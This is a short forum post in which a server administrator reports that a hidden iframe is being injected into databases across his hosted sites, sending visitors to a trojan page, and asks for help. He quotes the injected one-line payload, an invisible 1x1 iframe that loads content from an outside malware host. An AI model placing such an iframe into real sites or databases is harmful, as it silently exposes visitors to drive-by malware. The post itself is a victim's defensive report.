SQL Injection?

Something very strange is happening lately on my server. MANY of my hosted sites are being redirected to a trojan site. An <iframe> code is being inserted in the databases somehow. How on earth is this possible? My server is NOT rooted (yes, I'm pretty sure about this). What could have caused this? How can I fix this issue server-wide? I'm sure other sites have this thing in the databases.

For those who want to know, the following code is being inserted in the DB (Make sure you have an antivirus if you decide to visit that page!!):

Code: 
<iframe src="http://www.pragma.ru/~dch/inc/" width=1 height=1></iframe>
Anyone else experiencing this? Is this a new exploit....or? Any help is much appreciated.

Scott

 

 

 

 

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